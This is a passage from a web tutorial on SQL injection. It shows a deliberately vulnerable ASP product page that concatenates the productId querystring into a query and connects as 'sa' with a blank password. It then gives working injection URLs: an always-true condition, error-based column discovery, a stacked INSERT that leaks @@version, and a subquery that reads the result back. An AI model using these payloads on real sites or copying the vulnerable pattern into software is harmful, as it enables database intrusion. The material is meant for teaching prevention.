SQL Injection Attacks - Are You Safe?

Example #4

OK, time to move away from looking at the login.asp script and onto another common method to perform an SQL injection attack.

How many times have you been to a Website that sells you favourite gear and seen a URL like this:

www.mysite.com/products.asp?productId=2

Obviously the 2 is the ID of the product, and a lot of sites would simply build a query around the productId querystring variable, like this:

Select prodName from products where id = 2

Before we continue, let's assume that we have the following table and rows setup on our SQL server:

create table products    
(    
id int identity(1,1) not null,    
prodName varchar(50) not null,    
)    
   
insert into products(prodName) values('Pink Hoola Hoop')    
insert into products(prodName) values('Green Soccer Ball')    
insert into products(prodName) values('Orange Rocking Chair')

Let's also assume that we have created the following ASP script, and called it products.asp:

<%    
   
dim prodId    
prodId = Request.QueryString("productId")    
   
set conn = server.createObject("ADODB.Connection")    
set rs = server.createObject("ADODB.Recordset")    
   
query = "select prodName from products where id = " & prodId    
   
conn.Open "Provider=SQLOLEDB; Data Source=(local);    
Initial Catalog=myDB; User Id=sa; Password="    
rs.activeConnection = conn    
rs.open query    
   
if not rs.eof then    
response.write "Got product " & rs.fields("prodName").value    
else    
response.write "No product found"    
end if    
   
%>

So if we visited products.asp in the browser with the following URL:

http://localhost/products.asp?productId=1

...we'd see the following line of text in our browser:

Got product Pink Hoola Hoop

Notice that this time around, product.asp returns a field from the recordset based on the field's name:

response.write "Got product " & rs.fields("prodName").value

Although this may seem more secure, it really isn't, and we can still manipulate the database just as we have in our last three examples. Notice also that this time the WHERE clause of the query is based on a numerical value:

query = "select prodName from products where id = " & prodId

In order for the products.asp page to function correctly, all that's required is a numerical product Id passed as the productId querystring variable. Getting around this isn't too much of a problem, however. Consider the following URL to products.asp:

http://localhost/products.asp?productId=0%20or%201=1

Each %20 in the URL represents a URL-encoded space character, so the URL really looks like this:

http://localhost/products.asp?productId=0 or 1=1

When used in conjunction with products.asp, the query looks like this:

select prodName from products where id = 0 or 1=1

Using a bit of know-how and some URL-encoding, we can just as easily pull the name of the products field from the products table:

http://localhost/products.asp?productId=0%20having%201=1

This would produce the following error in the browser:

Microsoft OLE DB Provider for SQL Server (0x80040E14)    
   
Column 'products.prodName' is invalid in the select    
list because it is not contained in an aggregate    
function and there is no GROUP BY clause.    
   
/products.asp, line 13

Now, we can take the name of the products field (products.prodName) and call up the following URL in the browser:

http://localhost/products.asp?productId=0;insert%20into%20products    
(prodName)%20values(left(@@version,50))

Here's the query without the URL-encoded spaces:

http://localhost/products.asp?productId=0;insert into    
products(prodName) values(left(@@version,50))

Basically it returns "No product found", however it also runs an INSERT query on the products table, adding the first 50 characters of SQL server's @@version variable (which contains the details of SQL Server's version, build, etc.) as a new record in the products table.

In a real-life situation, you would obviously have to exploit the products table more than this as it would contain dozens of other fields, however the methods would remain the same.

To get to the version, it's now a simple matter of calling up the products.asp page with the value of the latest entry in the products table, like this:

http://localhost/products.asp?productId=(select%20max(id)    
%20from%20products)

What this query does is grab the ID of the latest row added to the products table using SQL server's MAX function. The result outputs the new row that contains the SQL server version details:

Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)

This method of injection can be used to perform numerous tasks. However the point of this article was to give tips on how to prevent SQL injection attacks, which is what we will look at next.